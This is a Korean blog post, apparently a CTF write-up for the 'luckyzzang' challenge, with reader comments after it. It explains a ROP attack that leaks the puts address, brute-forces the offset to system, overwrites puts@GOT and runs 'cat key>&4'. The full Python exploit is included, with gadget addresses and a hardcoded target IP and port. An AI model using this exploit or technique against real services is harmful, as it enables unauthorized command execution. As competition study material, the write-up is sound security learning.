luckyzzang



처음에 문제를 보자마자, 뭐이리 쉽지 했는데, 그냥 그냥 쉽지는 않았다.

버퍼를 왕창 주길래 NX가 없구나 했는데, 그건 아니었던것 같아서 바로 ROP로 전환했다.


근데 문제는, system의 주소값을 모른다는것(offset을 모르는것)과 ROP가 가능한 크기가 유동적이라는것이다.

ROP가 가능한 크기가 랜덤이기 때문에, 시스템 주소값을 맞췄더라도 결과가 안나올수도 있고,

페이로드의 크기가 커지면 커질수록, 성공률도 줄어든다.

그러므로, 페이로드를 작게 만드는게 중요했으나..... 그냥, 계속 반복해서 돌리기로 했다.


system의 주소값을 모르는건 크게 문제가 되지 않았다. 어짜피 fork로 되어있으므로, system 주소값은 변하지 않는다.

그러므로, puts라던지, recv라던지, 이미 있는 주소값을 구해오고 대략적인 offset을 측정한후, 그 주변을 브루트포싱한다.


아래의 익스플로잇에는 주석이 좀 많이 쳐져 있는데, 공격의 순서는

1. puts의 주소를 구한다.

2. 브루트포스를 한다.

3. 주소값을 구한후, 주소값을 고정한후 반복해서 커맨드 명령문을 보낸다.


from socket import * from struct import * import time   #cmd = "id>&4\x00" cmd = "cat key>&4\x00"   send_plt = pack('<I',0x8048610) recv_plt = pack('<I',0x80485f0) ppppr = pack('<I',0x80489cc) puts_plt = pack('<I',0x8048550) puts_got = pack('<I',0x804a018) bss = pack('<I',0x0804a154)   fd = pack('<I',4)   for i in range(0,0x3000,1): s = socket(AF_INET,SOCK_STREAM) s.connect(('118.107.172.214',7777))   payload = "" payload += "A"*1036 """ payload += send_plt # send address of puts payload += ppppr payload += fd payload += puts_got payload += pack('<I',4) payload += "\x00"*4 """   payload += recv_plt # overwirte puts to system address payload += ppppr payload += fd payload += puts_got payload += pack('<I',4) payload += "\x00"*4   payload += recv_plt # puts command payload += ppppr payload += fd payload += bss payload += pack('<I',len(cmd)) payload += "\x00"*4   payload += puts_plt # system call payload += "AAAA" payload += bss   #print "payload size: "+hex(len(payload)) #print s.recv(1024) #go = raw_input("go?") time.sleep(0.1) s.recv(1024) s.send(payload) time.sleep(0.1) """ get = s.recv(4)         #print get print len(get) puts_addr = unpack('<I',get)[0] print "puts address: "+hex(puts_addr) """ puts_addr = 0xb75b3740   i = 305 system_addr = hex(puts_addr + (-0x27000-i*0x10)) print "i: "+hex(i) print "system address: "+system_addr system_addr = pack('<I',puts_addr +(-0x27000-i*0x10)) s.send(system_addr) # system addr   s.send(cmd) print s.recv(1024) print s.recv(1024) """ try: s.send(cmd) get= s.recv(1024) if get.find('id') > 0: print "Find: "+str(i) print get break except: s.close() continue """ s.close() break


posted by tunz
  • 2013.06.14 20:19

    비밀댓글입니다

    • tunz 2013.06.14 22:30 신고

      305*0x10씩 움직이는게 아니고,
      0x10씩 움직였어요.
      보니까 항상 맨 뒷자리는 0이더라구요. 그래서 0x10칸씩 움직였고,
      그렇게 움직이다가, 305*0x10칸을 움직였을때 반응을 하길래, 나중에 그 값으로 고정한것입니다.

  • 궁금해요~ 2013.06.16 11:57

    그렇군요. 감사합니다~
    속도가 생각보다 느려서 오래걸리던데.
    세션을 여러개로 나누셨죠?

    • tunz 2013.06.17 10:33 신고

      제가할때는 꽤 괜찮아서 세션 하나로도 괜찮았어요 ㅎㅎ
      평소에는 여러개 켜두고 하는편입니다

  • asdf 2013.11.30 02:04

    안녕하세요~ 혹시 hdcon level5 문제 파일좀 구할수 있을까요?